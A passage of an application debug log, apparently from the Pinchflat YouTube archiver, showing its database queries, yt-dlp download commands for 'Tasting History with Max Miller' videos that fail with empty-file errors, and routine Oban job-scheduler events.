s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:22.558 [debug] Running yt-dlp command for action: get_downloadable_status 14:02:22.559 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:22.559 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:22.559 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:22.559 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/03/d1/03d13b1230916acf631fd0255129f23b6a1f4909e54093125d214e5d2f607596.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:02:26.787 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/03/d1/03d13b1230916acf631fd0255129f23b6a1f4909e54093125d214e5d2f607596.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 14:02:26.788 [debug] Running yt-dlp command for action: download 14:02:26.788 [debug] QUERY OK source="settings" db=0.1ms idle=389.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:26.788 [debug] QUERY OK source="settings" db=0.0ms idle=389.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:26.788 [debug] QUERY OK source="settings" db=0.0ms idle=390.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:26.789 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/af/4b/af4ba84ce1a78fab8015ef7583c01a7f21ae26550887a54229055f68bf74e0b0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:02:49.260 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.670 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:03:19.262 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:30.633 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774980210633479166,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:03:30.633 [debug] QUERY OK source="media_items" db=0.1ms idle=235.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 14:03:30.634 [info] User scripts lifecyle file either not present or is empty. Skipping. 14:03:30.634 [debug] QUERY OK source="sources" db=0.1ms idle=235.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:03:30.634 [debug] QUERY OK source="media_profiles" db=0.1ms idle=235.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:03:30.635 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 14:03:30.635 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 14:03:30.635 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:03:30.636 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:03:30.636 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:03:30.636 [debug] Running yt-dlp command for action: get_downloadable_status 14:03:30.637 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:03:30.637 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:03:30.637 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:03:30.637 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8c/05/8c0587bbbd1895cbcd77e804f63d30a33b7c98a270ee7d07cc27d73b023f3040.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:03:34.689 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8c/05/8c0587bbbd1895cbcd77e804f63d30a33b7c98a270ee7d07cc27d73b023f3040.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 14:03:34.689 [debug] Running yt-dlp command for action: download 14:03:34.689 [debug] QUERY OK source="settings" db=0.2ms idle=290.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:03:34.689 [debug] QUERY OK source="settings" db=0.1ms idle=291.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:03:34.690 [debug] QUERY OK source="settings" db=0.2ms idle=291.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:03:34.690 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/96/2a/962ac1b26cf47acdbfa8cf17c8046c68acba6549ffc8d2f2b281a63b50e5bd16.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:03:49.263 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.671 [info] {"source":"oban","duration":136,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:04:19.265 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:49.266 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.672 [info] {"source":"oban","duration":319,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:05:19.267 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:49.269 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.673 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:06:19.270 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:49.271 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.674 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:07:15.175 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/af/4b/af4ba84ce1a78fab8015ef7583c01a7f21ae26550887a54229055f68bf74e0b0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 14:07:15.176 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 14:07:15.176 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":292620870,"event":"job:exception","queue_time":714181,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:07:19.272 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:49.274 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.675 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:08:19.276 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:32.173 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/96/2a/962ac1b26cf47acdbfa8cf17c8046c68acba6549ffc8d2f2b281a63b50e5bd16.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 14:08:32.173 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 14:08:32.174 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":301540035,"event":"job:exception","queue_time":904018,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:08:49.277 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.676 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:09:19.278 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:49.279 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.677 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:10:19.281 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:49.282 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.678 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:11:19.283 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:49.284 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.679 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:12:19.285 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:49.286 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.680 [info] {"source":"oban","duration":309,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:13:19.287 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:49.288 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.681 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:14:19.289 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:49.291 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.682 [info] {"source":"oban","duration":278,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:15:19.292 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:49.293 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.683 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:16:19.294 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:49.295 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.684 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:17:19.296 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:49.297 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.685 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:18:19.298 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:49.299 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.686 [info] {"source":"oban","duration":377,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:19:19.300 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:49.301 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.687 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:20:19.302 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:49.303 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.689 [info] {"source":"oban","duration":320,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:21:19.304 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:49.306 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.690 [info] {"source":"oban","duration":309,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:22:19.308 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:49.309 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.690 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:23:19.310 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:49.311 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.691 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:24:19.312 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:49.313 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.692 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:25:19.315 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:49.316 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.693 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:26:19.317 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:49.318 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.694 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:27:19.319 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:49.320 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.695 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:28:19.321 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:49.321 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.696 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:29:19.323 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:49.324 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.697 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:30:19.326 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:49.327 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.698 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:31:19.329 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:49.331 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.699 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:32:19.332 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:49.333 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.700 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:33:19.334 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:49.336 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.701 [info] {"source":"oban","duration":114,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:34:19.337 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:49.339 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.702 [info] {"source":"oban","duration":307,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:35:19.341 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:49.342 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.703 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:36:19.343 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:49.344 [info] 